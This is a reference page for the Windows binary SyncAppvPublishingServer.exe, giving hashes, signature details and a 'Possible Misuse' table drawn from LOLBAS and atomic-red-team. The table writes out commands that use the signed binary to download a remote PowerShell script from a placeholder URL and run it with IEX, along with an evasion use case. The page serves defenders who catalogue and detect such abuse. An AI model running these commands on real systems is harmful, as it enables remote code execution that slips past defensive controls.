SyncAppvPublishingServer.exe

  • File Path: C:\Windows\system32\SyncAppvPublishingServer.exe

Hashes

Type Hash
MD5 5354113EC1C24E84613C53467F51E133
SHA1 417B8A86886C304184AD68966CA188C81D0EF045
SHA256 BCF02179AC47CE43DD46BF50D0F758B49F925DAE41A3263167119FA1138A6214
SHA384 85BDFB444867ADB44E8D8F3AFD9E526FC3519F7FC76FCDD7351E00FD8F1066F03F7BE1441FD9FF5F3392791B54280E9C
SHA512 182DA303B47F219C3D7FE6A9A9743E4C84FB088F8F3E0831F15B00616BEF06EB215CD7BEEEAEF32900EBC9AFCB8F0AE2CB17C2961CEB9F8FF86F08F7808CD21A
SSDEEP 768:uWqD/7ecTnUtXzu81lWGFNIRTShXj1Pwjz:7LcTnCu82GFNI5StpPo
IMP FAECF41B059F08D0AF080D7BEABDBFCC
PESHA1 08249EDDA66C36BB62AF0978180737EC207524CE
PE256 6345C4D5219466E608F682360D69F4D7C1AC0EA29CB09F359E840D0797A2D7FC

Signature

  • Status: Signature verified.
  • Serial: 3300000266BD1580EFA75CD6D3000000000266
  • Thumbprint: A4341B9FD50FB9964283220A36A1EF6F6FAA7840
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

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  • Machine Type: 64-bit

File Scan

  • VirusTotal Detections: 0/64
  • VirusTotal Link: https://www.virustotal.com/gui/file/bcf02179ac47ce43dd46bf50d0f758b49f925dae41a3263167119fa1138a6214/detection/

Possible Misuse

The following table contains possible examples of SyncAppvPublishingServer.exe being misused. While SyncAppvPublishingServer.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
LOLBAS Syncappvpublishingserver.yml Name: SyncAppvPublishingServer.exe  
LOLBAS Syncappvpublishingserver.yml - Command: SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') \| IEX"  
LOLBAS Syncappvpublishingserver.yml Usecase: Use SyncAppvPublishingServer as a Powershell host to execute Powershell code. Evade defensive counter measures  
LOLBAS Syncappvpublishingserver.yml - Path: C:\Windows\System32\SyncAppvPublishingServer.exe  
LOLBAS Syncappvpublishingserver.yml - Path: C:\Windows\SysWOW64\SyncAppvPublishingServer.exe  
LOLBAS Syncappvpublishingserver.yml - IOC: SyncAppvPublishingServer.exe should never be in use unless App-V is deployed  
LOLBAS Syncappvpublishingserver.yml Name: Syncappvpublishingserver.vbs  
LOLBAS Syncappvpublishingserver.yml - Command: SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') \| IEX"  
LOLBAS Syncappvpublishingserver.yml - Path: C:\Windows\System32\SyncAppvPublishingServer.vbs  
atomic-red-team index.md - Atomic Test #2: SyncAppvPublishingServer - Execute arbitrary PowerShell code [windows] MIT License. © 2018 Red Canary
atomic-red-team index.md - Atomic Test #1: SyncAppvPublishingServer Signed Script PowerShell Command Execution [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #2: SyncAppvPublishingServer - Execute arbitrary PowerShell code [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #1: SyncAppvPublishingServer Signed Script PowerShell Command Execution [windows] MIT License. © 2018 Red Canary
atomic-red-team T1216.md - Atomic Test #1 - SyncAppvPublishingServer Signed Script PowerShell Command Execution MIT License. © 2018 Red Canary
atomic-red-team T1216.md ## Atomic Test #1 - SyncAppvPublishingServer Signed Script PowerShell Command Execution MIT License. © 2018 Red Canary
atomic-red-team T1216.md Executes the signed SyncAppvPublishingServer script with options to execute an arbitrary PowerShell command. MIT License. © 2018 Red Canary
atomic-red-team T1216.md C:\windows\system32\SyncAppvPublishingServer.vbs “\n;#{command_to_execute}” MIT License. © 2018 Red Canary
atomic-red-team T1218.md - Atomic Test #2 - SyncAppvPublishingServer - Execute arbitrary PowerShell code MIT License. © 2018 Red Canary
atomic-red-team T1218.md ## Atomic Test #2 - SyncAppvPublishingServer - Execute arbitrary PowerShell code MIT License. © 2018 Red Canary
atomic-red-team T1218.md Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe. Requires Windows 10. MIT License. © 2018 Red Canary
atomic-red-team T1218.md SyncAppvPublishingServer.exe “n; #{powershell_code}” MIT License. © 2018 Red Canary

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